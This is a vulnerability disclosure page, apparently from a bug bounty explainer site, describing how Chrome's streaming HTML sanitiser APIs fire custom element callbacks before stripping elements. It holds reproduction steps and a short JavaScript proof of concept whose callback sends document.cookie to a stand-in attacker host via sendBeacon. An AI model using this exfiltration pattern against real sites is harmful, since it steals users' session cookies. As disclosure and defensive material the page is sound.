Cross-site scripting in SanitizerAPI (CVE-2026-87632)
The streaming HTML sanitisation APIs (streamHTML, streamAppendHTML, streamPrependHTML) fire custom element constructors and attributeChangedCallback handlers during parsing, before the sanitiser removes the element. An attacker who can get HTML rendered through these APIs could cause the page's own custom element code to run with attacker-controlled attribute values, and the proof of concept uses that to send the page's cookie to an attacker server.
Originally disclosed on Chrome VRP
- Fix shipped in 47 days
Steps to reproduce the problem
- On a server, save the attached
stream-ce-callback-poc.pyand runpython3 stream-ce-callback-poc.py - Open
http://VPS_IP:9590/in Chrome 150 - The page defines a custom element
<embed-widget>withobservedAttributes: ['data-src']whoseattributeChangedCallbackcallsnavigator.sendBeacon(val, ...)with the page'sdocument.cookieand URL - Click "Render with streamHTML() (VULNERABLE)"
- Check the callback log:
constructor()andattributeChangedCallback()fire during streamHTML,sendBeaconreturnstrue, and the element is stripped after - Check "Attacker callback server hits": the beacon was received at the attacker endpoint containing the page's cookie and URL
- Click "Render with setHTML() (SAFE)" to compare: zero callbacks fire, no beacon sent
Minimal inline reproduction:
class X extends HTMLElement {
constructor() { super(); console.log('constructor fired'); }
static get observedAttributes() { return ['data-x']; }
attributeChangedCallback(n,o,v) {
console.log('attributeChangedCallback:', v);
navigator.sendBeacon(v, document.cookie);
}
}
customElements.define('x-widget', X);
const div = document.createElement('div');
document.body.appendChild(div);
// streamHTML: callbacks fire, beacon sent
const s = div.streamHTML();
const w = s.getWriter();
await w.write('<x-widget data-x="https://attacker.example/steal">test</x-widget>');
await w.close();
// constructor + attributeChangedCallback execute. Element stripped after.
// setHTML: no callbacks
div.setHTML('<x-widget data-x="https://attacker.example/steal">test</x-widget>');
// No output. No callbacks.
Problem Description
The safe streaming HTML APIs (streamHTML, streamAppendHTML, streamPrependHTML) fire custom element constructor() and attributeChangedCallback() during parsing, before the sanitizer strips the element. setHTML() correctly suppresses all CE lifecycle callbacks.
The streaming path creates the parser on the live document with the active custom element registry, so custom element constructors fire during element creation and attributeChangedCallback fires during attribute setting.
Both happen before the sanitizer removes the element. connectedCallback does not fire because parsed nodes stay in a disconnected DocumentFragment.
setHTML avoids this by parsing into an inert template document with a null registry, so no CE definitions are found and no callbacks execute.
###Attack scenario
A web application using custom elements (Lit, FAST, Shoelace, native Web Components) renders user-provided HTML via streamHTML() for safe sanitization.
An attacker includes the application's custom element tags with attacker-controlled attribute values.
The callbacks fire before the element is stripped, enabling network requests via sendBeacon/fetch to attacker-controlled URLs.
The PoC demonstrates exfiltration of document.cookie to the attacker server this way.
Confirmed on all three safe streaming APIs: streamHTML(), streamAppendHTML(), streamPrependHTML().
Summary
streamHTML fires CE constructor/attributeChangedCallback before sanitizer strips elements
Custom Questions
Reporter credit:
Eli Ainhorn
Additional Data
Category: Security
Chrome Channel: Stable
Regression: N/A \
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The streaming path parses into the live document with the active custom element registry, so element constructors and attribute callbacks run before sanitisation, whereas setHTML parses into an inert template document with a null registry.
Impact
An application that sanitises user-supplied HTML with the streaming APIs could have its own custom element callbacks triggered with attacker-chosen values, allowing requests such as beacons to attacker servers and exfiltration of the page cookie; connectedCallback does not fire, and setHTML is unaffected.
What the attacker needed
App renders untrusted HTML via streaming APIs; app defines custom elements; attacker controls the HTML input
How it was found
- Run the provided proof-of-concept server script.
- Open the served page in Chrome 150.
- The page defines a custom element whose attribute callback sends the page cookie and URL to the attribute value.
- Click the button that renders the markup with the vulnerable streaming API.
- Observe the constructor and attribute callbacks firing and the beacon being sent before the element is stripped.
- Compare with the safe API, where no callbacks fire and no beacon is sent.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A sanitiser is meant to clean untrusted HTML before it is shown, so that nothing dangerous runs. Here the browser's streaming version of the sanitiser let the page's own custom element code (small scripts attached to a tag) run first, and only removed the tag afterwards. Because that code ran, it could be tricked into sending the visitor's cookie to a server the attacker controls.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.